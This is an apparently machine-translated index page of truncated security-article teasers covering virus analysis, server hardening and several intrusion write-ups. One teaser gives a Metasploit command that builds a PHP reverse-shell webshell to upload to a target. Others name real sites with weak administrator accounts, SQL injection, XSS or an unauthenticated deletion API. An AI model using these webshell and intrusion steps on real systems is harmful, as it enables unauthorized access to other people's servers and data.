Cloud Security

Maybe you will ask, is anti-virus redundant in Linux? Because Linux itself has the ability to resist viruses. if you log on as a non-superuser, it will be difficult for a program to maliciously infect system files. so when we see friends who use

Detached 1. Main program process analysis:Main program name: ctfmon.exe (counterfeit soft Input Method Configuration program)Shell: no shellProgramming Language: Assembly (estimation) 1. Use the GetLogicalDriveStringsA API to obtain all system drive

A server may be infected with trojans on the page, but no cause is found on the server. No corresponding code is found through the trojan Character Analysis. The background was reminded that it may be an ARP attack, so we installed the arpfirewall

I visited several well-known domestic anti-virus forums or forums over the past two days. I don't know if you are interested in discussing them or why.The virus analysis report shows a lot, but what we really need is an answer? A report? Perhaps

  As a webmaster, we sometimes need to manually clear some viruses on the server. Now we sort out the website resources as follows, hope that the article "commands for manual Antivirus On windows servers" will help vps host and server hosting users

Today, we found that the Qmail mail system's maillog contains a large amount of "user not found" information, which is not difficult to find through the following logs, it is the information that fails to authenticate the Qmail email system for many

I. background description1. Configure the network environment as the central site shanghai and the branch site nanjing2. The central site has three areas: Internet region, Intranet region, and DMZ region.3. the DMZ region has internal enterprise

1. Generate a WEBSHELL FileMsf> msfpayload php/reverse_php LHOST = Your ip lport = port R> XX. phpMy BT4 is in the/ROOT/directory and can be run only after dis9.php is added.Upload dis9.php to your SHELL, for example, www.XXX.com/XX.php.   2. Then

1. The site is:Http://campus.suning.com/snjyw/2. Background addressHttp://campus.suning.com/snjyw/login.jsp  3. log on to www.2cto.com  4. check account management and find that more than 20 accounts are administrators, all of which are weak

I don't know if someone else has sent the message. I made a website yesterday and found it myself. Must be shared !! My website is the latest version of CMS 6.6, so some methods found on the Internet are invalid! Custom page-add custom page-write

Test with http://tuchong.tuchong.com/2894994/  Search: Data-note-id = "2532245" is similar Http://tuchong.tuchong.com/api/comment/delete/ POST sending Note_id % 5B % 5D = 2532245    Deleted.Www.2cto.comHttp://tuchong.com/messages/211/ 211 view

Yesterday I read an article about how to export a single-statement Trojan Horse from MySQL to use WebShell.The SQL statements used in this article are roughly as follows (command line or other shell that can execute SQL commands ):Drop table if

TL-WR340G is a lightweight wireless router produced by TP-Link, recently foreign Hackers found a denial of service vulnerability on this router, as long as a simple malformed package to the router, the router can be stopped. You need to manually

Recently, a simple penetration of a website reminds me of a "small event" that happened not long ago "; I would like to share with you the hope it will help you improve your awareness of security development. Event playback: a page provides the

I. PrefaceHalf a month ago, @ Tater sent a message titled calling the API through [Sina Weibo] official sources to publish a microblog. No client_sec is required. However, the defects of OAuth 2.0 involved are unknown. In the past few days, the

Program introduction:SongCMS is a website background management system based on ASP + ACCESS/SQL technology,Suitable for general programmers to develop a variety of personalized enterprise network sites, detailed notes for databases and call

Since Tsinghua University's Continuing Education Institute uses the SQL assembly method in the background and does not filter user input, there is a risk of SQL injection. Any browsing of one of the articles, such as

We know that TRACE and TRACK are the HTTP methods used to debug web server connections. the server that supports this method has a Cross-Site scripting vulnerability. When describing various browser defects, the "Cross-Site-Tracing" is referred to

Today, I asked sasa to view a website, saying that he wanted to view its database structure. We accidentally discovered traces of our predecessors passing by, followed by our predecessors, and listed Database backups.Source code copy printingInsert

Today, many groups are discussing Gbit/s of Baidu network disks, and many people share links with others to do their jobs! If XSS exists on this sharing page, is the audience quite wide !! In addition, you can leave a link on the Baidu Post Bar! The